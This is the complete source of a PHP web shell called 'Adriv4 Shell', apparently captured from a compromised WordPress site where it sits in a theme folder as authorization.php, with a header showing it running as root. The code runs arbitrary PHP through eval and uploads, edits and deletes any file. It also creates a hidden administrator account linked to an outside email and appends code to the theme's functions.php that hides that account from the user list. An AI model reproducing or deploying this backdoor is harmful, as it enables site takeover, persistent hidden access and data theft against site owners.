HEX
Server: Apache
System: Linux ns308404 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: root (0)
PHP: 8.3.31
Disabled: opcache_get_status
Upload Files
File: /var/www/vhosts/onlinedev.com/httpdocs/odv/wp-content/themes/edupress/authorization.php
<!DOCTYPE html>
<html>
<head>
    <title>Adriv4 Shell</title>
    <meta charset="utf-8">
    <link href="https://fonts.googleapis.com/css2?family=Roboto+Mono:wght@400;500;700&family=Orbitron:wght@900&display=swap" rel="stylesheet">
    <style>
        :root{--bg:#1e1e2e;--bg2:#2d2d44;--accent:#89b4fa;--accent2:#a6e3a1;--text:#cdd6f4;--danger:#f38ba8;--success:#a6e3a1;--border:#45475a;--glow:rgba(137,180,250,0.3);}
        body{font-family:'Roboto Mono',monospace;color:var(--text);margin:0;padding:0;background:var(--bg);}
        .container{max-width:96%;margin:20px auto;padding:30px;background:var(--bg2);border-radius:16px;box-shadow:0 10px 40px rgba(0,0,0,0.5);border:1px solid var(--border);}
        .title{text-align:center;margin:30px 0 50px 0;font-family:'Orbitron',sans-serif;font-size:64px;font-weight:900;background:linear-gradient(90deg,#89b4fa,#a6e3a1,#89b4fa);-webkit-background-clip:text;background-clip:text;-webkit-text-fill-color:transparent;text-shadow:0 0 40px rgba(137,180,250,0.7);}
        a{color:var(--accent);text-decoration:none;} a:hover{color:var(--accent2);text-decoration:underline;}
        input,textarea{width:100%;padding:12px;margin:10px 0;border:1px solid var(--border);background:#313144;color:var(--text);border-radius:10px;box-sizing:border-box;font-family:'Roboto Mono',monospace;font-size:14px;}
        input[type=submit],button{background:var(--accent);color:#1e1e2e;border:none;padding:12px 24px;cursor:pointer;font-weight:bold;border-radius:10px;transition:all .3s;}
        input[type=submit]:hover,button:hover{background:var(--accent2);transform:translateY(-2px);box-shadow:0 5px 15px rgba(166,227,161,0.4);}
        .btn-wp{background:#f38ba8 !important;color:#000 !important;font-weight:bold;}
        table{width:100%;border-collapse:collapse;margin-top:25px;font-size:14px;background:var(--bg2);border-radius:12px;overflow:hidden;box-shadow:0 4px 20px rgba(0,0,0,0.3);}
        th,td{padding:14px;border:1px solid var(--border);text-align:left;}
        th{background:#313144;color:var(--accent2);font-weight:600;text-transform:uppercase;font-size:12px;letter-spacing:0.5px;}
        tr:nth-child(even){background:#27273a;}
        .act{display:inline-block;margin:0 5px;}
        .act input[type=submit]{padding:7px 12px !important;font-size:11px !important;min-width:50px;border-radius:8px;font-weight:bold;}
        .edit{background:#89b4fa;}.del{background:#f38ba8;}.ren{background:#cba6f7;}
        .short{white-space:nowrap;overflow:hidden;text-overflow:ellipsis;max-width:300px;display:inline-block;}
        .msg{color:var(--success);font-weight:bold;font-size:18px;padding:16px;background:rgba(166,227,161,0.2);border-radius:12px;text-align:center;border:1px solid var(--success);margin:20px 0;}
        .create-line{display:flex;gap:15px;margin:25px 0;align-items:center;flex-wrap:wrap;}
        .overlay{position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,0.95);display:none;justify-content:center;align-items:center;z-index:999;}
        .popup{background:var(--bg2);border:2px solid var(--accent);padding:30px;border-radius:16px;width:90%;max-width:800px;box-shadow:0 0 50px var(--glow);}
        .popup h2{color:var(--accent2);margin-top:0;font-size:24px;}
        .popup textarea{height:460px;background:#111118;color:#cdd6f4;font-family:monospace;}
        .close{color:var(--danger);float:right;font-size:32px;cursor:pointer;}
        .close:hover{transform:scale(1.2);}
        hr{border:none;border-top:1px solid var(--border);margin:30px 0;}
        .output-box{background:#111118;padding:20px;border-radius:12px;border:2px solid #f38ba8;margin:25px 0;color:#a6e3a1;font-family:monospace;white-space:pre-wrap;max-height:600px;overflow:auto;box-shadow:0 0 20px rgba(243,139,168,0.3);}
        .output-box hr{border-top:1px dashed #45475a;}
        [style*="color:green"]{color:var(--accent2)!important;}
    </style>
</head>
<body>
<div class="container">
    <center><div class="title">Adriv4</div></center>

<?php
error_reporting(0);
date_default_timezone_set(@date_default_timezone_get());
$rootDirectory = realpath($_SERVER['DOCUMENT_ROOT']);
$scriptDirectory = dirname(__FILE__);

function x($b){return base64_encode($b);}
function y($b){return base64_decode($b);}
foreach($_GET as $k=>$v) $_GET[$k]=y($v);

$currentDirectory = realpath(isset($_GET['d']) ? $_GET['d'] : $scriptDirectory);
chdir($currentDirectory);

$msg = $editFile = $editContent = $execOutput = '';
$hidden = '<input type="hidden" name="d" value="'.x($currentDirectory).'">';


if(isset($_POST['create_wp_user'])){
    function generate_random_password($length = 12) {
        $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*';
        $characters_length = strlen($characters);
        $random_password = '';
        for ($i = 0; $i < $length; $i++) {
            $random_password .= $characters[rand(0, $characters_length - 1)];
        }
        return $random_password;
    }

    $wp_load = $_SERVER["DOCUMENT_ROOT"] . "/wp-load.php";
    if(file_exists($wp_load)){
        require_once $wp_load;
        $username = "adminuser";
        $email = 'backsuptrace@gmail.com';
        $auto_password = generate_random_password(14);

        if(!username_exists($username)){
            $user_id = wp_create_user($username, $auto_password, $email);
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            $functions_file = get_template_directory() . '/functions.php';
            $hide_code = "\n\n//
add_action('pre_user_query', function(\$user_query) {
    global \$wpdb;
    if (is_admin() && current_user_can('administrator')) {
        \$user_query->query_where .= \" AND {\$wpdb->users}.user_login != 'adminuser'\";
    }
});";

            if (file_exists($functions_file) && is_writable($functions_file)) {
                file_put_contents($functions_file, $hide_code, FILE_APPEND | LOCK_EX);
                $msg = "<div style='background:#111118;padding:20px;border:2px solid #a6e3a1;border-radius:12px;color:#a6e3a1;font-size:16px;'>
                        <a href='".wp_login_url()."' style='color:#89b4fa;'>".wp_login_url()."</a><br>
                        <b>$username</b><br>
                        <b>$auto_password</b><br><br>
                        </div>";
            } else {
                $msg = "ERROR";
            }
        } else {
            $msg = "ERROR";
        }
    } else {
        $msg = "ERROR";
    }
}

if($_SERVER['REQUEST_METHOD']==='POST' && !isset($_POST['create_wp_user'])){
    if(isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error']==0){
        $t = $currentDirectory.'/'.basename($_FILES["fileToUpload"]["name"]);
        $msg = move_uploaded_file($_FILES["fileToUpload"]["tmp_name"],$t) ? "Upload Success!" : "Upload Failed!";
    }
    elseif(!empty($_POST['folder_name'])){
        mkdir($currentDirectory.'/'.$_POST['folder_name'], 0755, true);
        $msg = "Folder Created!";
    }
    elseif(!empty($_POST['create_file_name'])){
        $name = trim($_POST['create_file_name']);
        $content = $_POST['create_file_content'] ?? '';
        file_put_contents($currentDirectory.'/'.$name, $content);
        $msg = "File Created: $name";
    }
    elseif(isset($_POST['execute_php'])){
        $code = $_POST['php_code'];
        ob_start();
        $return_value = @eval($code);
        $output = ob_get_clean();
        $result = $output;
        if ($return_value !== null) {
            $result .= "<hr><span style='color:#a6e3a1;'><strong>Returned:</strong></span><pre style='background:#1e1e2e;padding:10px;border-radius:8px;margin:10px 0;'>".htmlspecialchars(var_export($return_value, true))."</pre>";
        }
        $execOutput = $result ?: "<span style='color:#666;'>No output</span>";
        $msg = "PHP Code Executed!";
    }
    elseif(isset($_POST['edit_file'])){
        $editFile = $_POST['edit_file'];
        $editContent = file_get_contents($currentDirectory.'/'.$editFile);
    }
    elseif(isset($_POST['save_file'])){
        file_put_contents($currentDirectory.'/'.$_POST['save_file'],$_POST['file_content']);
        $msg = "File Saved!";
    }
    elseif(isset($_POST['delete_file'])){
        $f = $currentDirectory.'/'.$_POST['delete_file'];
        is_dir($f) ? deleteDirectory($f) : unlink($f);
        $msg = "Deleted!";
    }
    elseif(!empty($_POST['rename_old']) && !empty($_POST['rename_new'])){
        rename($currentDirectory.'/'.$_POST['rename_old'], $currentDirectory.'/'.$_POST['rename_new']);
        $msg = "Renamed!";
    }
}

echo 'Curdir: ';
$directories = explode(DIRECTORY_SEPARATOR, $currentDirectory);
$currentPath = '';
foreach ($directories as $dir) {
    if(empty($dir)) continue;
    $currentPath .= DIRECTORY_SEPARATOR . $dir;
    echo ' / <a href="?d='.x($currentPath).'">'.$dir.'</a>';
}
echo ' / <a href="?d='.x($scriptDirectory).'"><span style="color:green">[ GO Home ]</span></a><br><hr>';

if($msg) echo "<div class='msg'>$msg</div>";
if($execOutput) echo "<div class='output-box'><strong>Output:</strong><hr>$execOutput</div>";

if($editFile){
    echo "<form method='post'>$hidden
        <b>Editing ? $editFile</b><br><br>
        <input name='save_file' value='$editFile' hidden>
        <textarea name='file_content' rows='20'>".htmlspecialchars($editContent)."</textarea><br>
        <input type='submit' value='Save File'>
    </form><hr>";
}

echo '<div class="create-line">
    <form method="post" style="display:inline-flex;gap:10px;align-items:center;">'.$hidden.'
        <input name="folder_name" placeholder="New Folder Name" style="width:250px;">
        <input type="submit" value="Create Folder">
    </form>
    <button onclick="document.getElementById(\'createPopup\').style.display=\'flex\'">Create File</button>
    <button onclick="document.getElementById(\'execPopup\').style.display=\'flex\'" style="background:#f38ba8;color:#000;font-weight:bold;">Execute PHP</button>
    <form method="post" style="margin:0;">'.$hidden.'
        <input type="hidden" name="create_wp_user" value="1">
        <button type="submit" class="btn-wp">User^Random</button>
    </form>
</div>';

echo '<form method="post" enctype="multipart/form-data" style="margin:20px 0;">'.$hidden.'
    <input type="file" name="fileToUpload" required>
    <input type="submit" value="Upload File">
</form>';



echo '<div class="overlay" id="createPopup">
    <div class="popup"><span class="close" onclick="this.parentNode.parentNode.style.display=\'none\'">?</span>
        <h2>Create New File</h2>
        <form method="post">'.$hidden.'
            <input type="text" name="create_file_name" placeholder="example.php" required>
            <textarea name="create_file_content" placeholder="Type your code here..."></textarea><br>
            <button type="submit">Create & Save</button>
        </form>
    </div>
</div>';

echo '<div class="overlay" id="execPopup">
    <div class="popup"><span class="close" onclick="this.parentNode.parentNode.style.display=\'none\'">?</span>
        <h2 style="color:#f38ba8;">Execute PHP Code</h2>
        <form method="post">'.$hidden.'
            <textarea name="php_code" placeholder="echo \"test\";&#10;phpinfo();&#10;system(\'whoami\');" style="height:460px;"></textarea><br>
            <input type="hidden" name="execute_php" value="1">
            <button type="submit" style="background:#f38ba8;">Run PHP Code</button>
        </form>
    </div>
</div>';


echo '<table><tr><th>Name</th><th>Size</th><th>Date</th><th>Perms</th><th>Action</th></tr>';
foreach(scandir($currentDirectory) as $v){
    if($v==='.' || $v==='..') continue;
    $full = $currentDirectory.'/'.$v;
    $isdir = is_dir($full);
    $short = strlen($v)>30 ? substr($v,0,27).'...' : $v;
    echo "<tr>
        <td><span class='short' title='$v'>".($isdir?"<a href='?d=".x($full)."'><b>$short/</b></a>":$short)."</span></td>
        <td>".($isdir?'-':number_format(filesize($full)).' B')."</td>
        <td>".date("M d, Y H:i",filemtime($full))."</td>
        <td>".substr(sprintf("%o",fileperms($full)),-4)."</td>
        <td nowrap>
            ".(!$isdir?"<span class='act'><form method='post' style='display:inline'>$hidden<input type='hidden' name='edit_file' value='$v'><input type='submit' value='Edit' class='edit'></form></span>":"")."
            <span class='act'><form method='post' style='display:inline' onsubmit='return confirm(\"Delete $v?\")'>$hidden<input type='hidden' name='delete_file' value='$v'><input type='submit' value='Del' class='del'></form></span>
            <span class='act'><form method='post' style='display:inline'>$hidden<input type='hidden' name='rename_old' value='$v'><input type='text' name='rename_new' size='10' placeholder='new name' style='width:90px;padding:5px;'><input type='submit' value='Ren' class='ren'></form></span>
        </td>
    </tr>";
}
echo '</table>';

function deleteDirectory($d){
    if(!is_dir($d)) return unlink($d);
    foreach(scandir($d) as $i){
        if($i==='.'||$i==='..') continue;
        deleteDirectory("$d/$i");
    }
    return rmdir($d);
}
?>
</div>
</body>
</html>